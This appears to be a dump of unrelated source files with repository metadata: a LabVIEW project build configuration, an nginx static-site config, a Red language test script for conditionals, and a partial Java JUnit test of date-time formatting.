<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_1</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{28841FB8-8EC1-42B3-97D1-8D99F7DB1149}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_5_1.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_1/Perfect_5_1.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_1/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{4C1D4FC2-AC07-481D-B122-292925D01509}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_5_1</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_5_1</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_5_1</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{FC47220E-4A42-44BC-B71E-2BD803247216}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_5_1.exe</Property>
</Item>
<Item Name="Perfect_5_2" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{814F0173-CE50-42A1-832E-4A1D0382910E}</Property>
<Property Name="App_INI_GUID" Type="Str">{4655633A-7E1B-4365-B28D-F4C60B0DA0E7}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{FF882C68-9529-4E1B-813D-270B829E9B3F}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_5_2</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_2</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{12C1895E-0B7A-4D5D-A979-DAED98C904F1}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_5_2.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_2/Perfect_5_2.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_2/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{159B53F7-34C5-445F-A20F-B3425C7B56C7}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_5_2</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_5_2</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_5_2</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{49D66C63-4FC6-4738-914E-DCDA7C453544}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_5_2.exe</Property>
</Item>
<Item Name="Perfect_5_3" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{F44DE0B0-6232-4975-A6B6-03C49B97941D}</Property>
<Property Name="App_INI_GUID" Type="Str">{D3AD9246-862E-4EE0-BFC0-4AFC659E7409}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{D05FF9BE-E5ED-492E-A00B-49BAB1929764}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_5_3</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_3</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{ED10271D-35E2-4EEF-A536-81538F8BDC65}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_5_3.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_3/Perfect_5_3.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_3/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{0660B5F1-B96E-47C4-8F2B-52BA2AD666F5}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_5_3</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_5_3</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_5_3</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{5F090A77-378F-4C07-9D42-D1D9BC1764A5}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_5_3.exe</Property>
</Item>
<Item Name="Perfect_5_4" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{82F07A69-572A-429E-BBDF-F56D3CCC6A62}</Property>
<Property Name="App_INI_GUID" Type="Str">{C38DA4D6-CC24-4A99-BA41-5BF427C30D32}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{7C9B765D-F64E-4BA1-A77A-D98E6EDEA398}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_5_4</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_4</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{8907E3CB-9CC3-4CBC-9860-73962100B357}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_5_4.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_4/Perfect_5_4.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_4/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{D9F0D09C-A0EF-4D92-9FF9-486B82D027B0}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_5_4</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_5_4</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_5_4</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{0F613F39-D017-492B-98B5-9D9764E1BD49}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_5_4.exe</Property>
</Item>
<Item Name="Perfect_6_0" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{03DEA0A0-586C-46B3-984B-1D3772BDD5B8}</Property>
<Property Name="App_INI_GUID" Type="Str">{E80CFFE4-4C8D-4422-80F5-3A60BFCB54E5}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{2930A6C4-4EF8-4808-BEA6-633E41CE2EBC}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_6_0</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_6_0</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{6A64057E-9230-461D-B897-3F81544F86DA}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_6_0.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_6_0/Perfect_6_0.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_6_0/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{E10E45BB-6A7E-49C6-94E7-F952AD79E150}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_6_0</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_6_0</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_6_0</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{2093E472-1634-4C22-9DBC-37A85E568FCD}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_6_0.exe</Property>
</Item>
<Item Name="Prfect_6_2" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{4FB1A96B-AAB9-4B3E-8DB2-E6CA6375B253}</Property>
<Property Name="App_INI_GUID" Type="Str">{9EA6B707-5CBA-445B-AEF4-EB0611DF4051}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{C99A2C28-FB9F-43E7-9AB0-6AD4E20A0529}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Prfect_6_2</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Prfect_6_2</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{68D3FB71-2262-463B-9A0E-E5D77A663427}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Prfect_6_2.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Prfect_6_2/Prfect_6_2.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Prfect_6_2/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{C33FEA6E-22F5-461D-9567-B6B7EA19B117}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Prfect_6_2</Property>
<Property Name="TgtF_internalName" Type="Str">Prfect_6_2</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Prfect_6_2</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{A5EFE3B7-DE43-4D3D-AC7B-4A8C159FBAB7}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Prfect_6_2.exe</Property>
</Item>
<Item Name="UP_3_0" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{BEB1D514-EBD4-4649-80CC-D89684EA1D66}</Property>
<Property Name="App_INI_GUID" Type="Str">{29840003-BBBB-43AC-804F-103B5C33A6FB}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{B6767FF5-532D-4F0C-A79E-4981C67251BA}</Property>
<Property Name="Bld_buildSpecName" Type="Str">UP_3_0</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/UP_3_0</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{6A71CBB7-FE25-4111-BA50-0BDA8E1C9FCD}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">UP_3_0.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/UP_3_0/UP_3_0.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/UP_3_0/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref"></Property>
<Property Name="Source[0].itemID" Type="Str">{4A5AE71D-1A87-4F1B-9F47-3180EBC18C83}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">UP_3_0</Property>
<Property Name="TgtF_internalName" Type="Str">UP_3_0</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">UP_3_0</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{44DAD05A-B195-4449-A599-217E7D64D956}</Property>
<Property Name="TgtF_targetfileName" Type="Str">UP_3_0.exe</Property>
</Item>
<Item Name="上位机6_1" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{0AB700D0-2D60-4EDE-8E7D-7773B90F9515}</Property>
<Property Name="App_INI_GUID" Type="Str">{2BF63DFC-13AB-4C80-97B6-BBA5717EA409}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{4583AD56-C501-4B34-A591-3895F413763A}</Property>
<Property Name="Bld_buildSpecName" Type="Str">上位机6_1</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/上位机6_1</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{94CAC883-DD88-4BFB-8325-B21356887177}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">上位机6_1.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/上位机6_1/上位机6_1.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/上位机6_1/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{1CBF6CA4-40E8-4DF8-BE20-AD149FE28CEE}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">上位机6_1</Property>
<Property Name="TgtF_internalName" Type="Str">上位机6_1</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">上位机6_1</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{EFE20D36-75CD-48D7-B004-F116F8AC9A5C}</Property>
<Property Name="TgtF_targetfileName" Type="Str">上位机6_1.exe</Property>
</Item>
</Item>
</Item>
</Project>
| LabVIEW | 3 | XDRM-IRobot/upper-computer | src/UpUpUpUp.lvproj | [
"MIT"
] |
server {
listen 80;
root /var/www/devopsbyexample.io/html;
index index.html;
server_name devopsbyexample.io;
location / {
try_files $uri $uri/ =404;
}
}
| Io | 4 | murasaki718/tutorials | lessons/062/devopsbyexample.io | [
"MIT"
] |
Red [
Title: "Red conditonal test script"
Author: "Nenad Rakocevic & Peter W A Wood"
File: %conditional-test.red
Tabs: 4
Rights: "Copyright (C) 2011-2015 Red Foundation. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/origin/BSD-3-License.txt"
]
#include %../../../quick-test/quick-test.red
~~~start-file~~~ "conditional"
===start-group=== "converted Red/System tests"
--test-- "nested ifs inside a function with many return points"
niff: func [
i [integer!]
return: [integer!]
][
if i > 127 [
if 192 = i [return i]
if 193 = i [return i]
if 244 < i [return i]
if i < 224 [
if i = 208 [return i]
]
]
return -1
]
--assert 208 = niff 208
--assert -1 = niff 1
--assert -1 = niff 224
--test-- "simple if"
i: 0
if true [i: 1]
--assert i = 1
--test-- "nested if"
i: 0
if true [
if true [
i: 1
]
]
--assert i = 1
--test-- "double nested if"
i: 0
if true [
if true [
if true [
i: 1
]
]
]
--assert i = 1
--test-- "triple nested if"
i: 0
if true [
if true [
if true [
if true [i: 1]
]
]
]
--assert i = 1
--test-- "either basic 1"
--assert 1 = either true [1] [2]
--test-- "either basic 2"
--assert 2 = either false [1] [2]
--test-- "either basic 3"
--assert 1 = either 42 [1] [2]
===end-group===
===start-group=== "basic if tests"
--test-- "bif-1"
--assert none = if false [1] ;; # Issue 321
===end-group===
===start-group=== "condition evaluation"
--test-- "ce-1"
--assert 1 + 4 = 5
===end-group===
===start-group=== "any"
--test-- "any-1"
--assert any [true false]
--test-- "any-2"
--assert any [false true]
--test-- "any-3"
--assert not any [false false]
--test-- "any-4"
--assert any [true none]
--test-- "any-5"
--assert any [none true]
--test-- "any-6"
--assert not any [none none]
--test-- "any-7"
--assert not any [false false]
--test-- "any-8"
--assert any [not none not none]
--test-- "any-9"
--assert 3 = any [1 = 2 3]
===end-group===
===start-group=== "all"
--test-- "all-1"
--assert not all [true false]
--test-- "all-2"
--assert not all [false true]
--test-- "all-3"
--assert all [true true]
--test-- "all-4"
--assert not all [true none]
--test-- "all-5"
--assert not all [none true]
--test-- "all-6"
--assert not all [none none]
--test-- "all-7"
--assert not all [false false]
--test-- "all-8"
--assert all [not none not none]
--test-- "all-9"
--assert not all [1 = 2 3]
===end-group===
~~~end-file~~~
| Red | 5 | GalenIvanov/red | tests/source/units/conditional-test.red | [
"BSL-1.0",
"BSD-3-Clause"
] |
package com.baeldung.datetime;
import org.junit.Assert;
import org.junit.Test;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.LocalTime;
import java.time.ZoneId;
import java.time.ZonedDateTime;
import java.time.format.DateTimeFormatter;
import java.time.format.DateTimeParseException;
import java.time.format.FormatStyle;
import java.time.temporal.ChronoUnit;
import java.time.temporal.UnsupportedTemporalTypeException;
import java.util.Locale;
import java.util.TimeZone;
public class DateTimeFormatterUnitTest {
@Test
public void givenDefaultUsLocaleAndDateTimeAndPattern_whenFormatWithDifferentLocales_thenGettingLocalizedDateTimes() {
Locale.setDefault(Locale.US);
LocalDateTime localDateTime = LocalDateTime.of(2018, 1, 1, 10, 15, 50, 500);
String pattern = "dd-MMMM-yyyy HH:mm:ss.SSS";
DateTimeFormatter defaultTimeFormatter = DateTimeFormatter.ofPattern(pattern);
DateTimeFormatter plTimeFormatter = DateTimeFormatter.ofPattern(pattern, new Locale("pl", "PL"));
DateTimeFormatter deTimeFormatter = DateTimeFormatter.ofPattern(pattern).withLocale(Locale.GERMANY);
Assert.assertEquals("01-January-2018 10:15:50.000", defaultTimeFormatter.format(localDateTime));
Assert.assertEquals("01-stycznia-2018 10:15:50.000", plTimeFormatter.format(localDateTime));
Assert.assertEquals("01-Januar-2018 10:15:50.000", deTimeFormatter.format(localDateTime));
}
@Test
public void givenDateTimeAndTimeZone_whenFormatWithDifferentLocales_thenGettingLocalizedZonedDateTimes() {
Locale.setDefault(Locale.US);
LocalDateTime localDateTime = LocalDateTime.of(2018, 1, 1, 10, 15, 50, 500);
ZoneId losAngelesTimeZone = TimeZone.getTimeZone("America/Los_Angeles").toZoneId();
DateTimeFormatter localizedFormatter = DateTimeFormatter.ofPattern("EEEE, MMMM dd, yyyy z", Locale.US);
DateTimeFormatter frLocalizedFormatter = DateTimeFormatter.ofPattern("EEEE, MMMM dd, yyyy z", Locale.FRANCE);
String formattedDateTime = localizedFormatter.format(ZonedDateTime.of(localDateTime, losAngelesTimeZone));
String frFormattedDateTime = frLocalizedFormatter.format(ZonedDateTime.of(localDateTime, losAngelesTimeZone));
System.out.println(formattedDateTime);
System.out.println(frFormattedDateTime);
Assert.assertEquals("Monday, January 01, 2018 PST", formattedDateTime);
Assert.assertEquals("lundi, janvier 01, 2018 PST", frFormattedDateTime);
}
@Test
public void shouldPrintFormattedDate() {
String europeanDatePattern = "dd.MM.yyyy";
DateTimeFormatter europeanDateFormatter = DateTimeFormatter.ofPattern(europeanDatePattern);
LocalDate summerDay = LocalDate.of(2016, 7, 31);
Assert.assertEquals("31.07.2016", europeanDateFormatter.format(summerDay));
}
@Test
public void shouldPrintFormattedTime24() {
String timeColonPattern = "HH:mm:ss";
DateTimeFormatter timeColonFormatter = DateTimeFormatter.ofPattern(timeColonPattern);
LocalTime colonTime = LocalTime.of(17, 35, 50);
Assert.assertEquals("17:35:50", timeColonFormatter.format(colonTime));
}
@Test
public void shouldPrintFormattedTimeWithMillis() {
String timeColonPattern = "HH:mm:ss SSS";
DateTimeFormatter timeColonFormatter = DateTimeFormatter.ofPattern(timeColonPattern);
LocalTime colonTime = LocalTime.of(17, 35, 50).plus(329, ChronoUnit.MILLIS);
Assert.assertEquals("17:35:50 329", timeColonFormatter.format(colonTime));
}
@Test
public void shouldPrintFormattedTimePM() {
String timeColonPattern = "hh:mm:ss a";
DateTimeFormatter timeColonFormatter = DateTimeFormatter.ofPattern(timeColonPattern);
LocalTime colonTime = LocalTime.of(17, 35, 50);
Assert.assertEquals("05:35:50 PM", timeColonFormatter.format(colonTime));
}
@Test
public void shouldPrintFormattedUTCRelatedZonedDateTime() {
String newYorkDateTimePattern = "dd.MM.yyyy HH:mm z";
DateTimeFormatter newYorkDateFormatter = DateTimeFormatter.ofPattern(newYorkDateTimePattern);
LocalDateTime summerDay = LocalDateTime.of(2016, 7, 31, 14, 15);
Assert.assertEquals("31.07.2016 14:15 UTC-04:00", newYorkDateFormatter.format(ZonedDateTime.of(summerDay, ZoneId.of("UTC-4"))));
}
@Test
public void shouldPrintFormattedNewYorkZonedDateTime() {
String newYorkDateTimePattern = "dd.MM.yyyy HH:mm z";
DateTimeFormatter newYorkDateFormatter = DateTimeFormatter.ofPattern(newYorkDateTimePattern);
LocalDateTime summerDay = LocalDateTime.of(2016, 7, 31, 14, 15);
Assert.assertEquals("31.07.2016 14:15 EDT", newYorkDateFormatter.format(ZonedDateTime.of(summerDay, ZoneId.of("America/New_York"))));
}
@Test
public void shouldPrintStyledDate() {
LocalDate anotherSummerDay = LocalDate.of(2016, 8, 23);
Assert.assertEquals("Tuesday, August 23, 2016", DateTimeFormatter.ofLocalizedDate(FormatStyle.FULL).format(anotherSummerDay));
Assert.assertEquals("August 23, 2016", DateTimeFormatter.ofLocalizedDate(FormatStyle.LONG).format(anotherSummerDay));
Assert.assertEquals("Aug 23, 2016", DateTimeFormatter.ofLocalizedDate(FormatStyle.MEDIUM).format(anotherSummerDay));
Assert.assertEquals("8/23/16", DateTimeFormatter.ofLocalizedDate(FormatStyle.SHORT).format(anotherSummerDay));
}
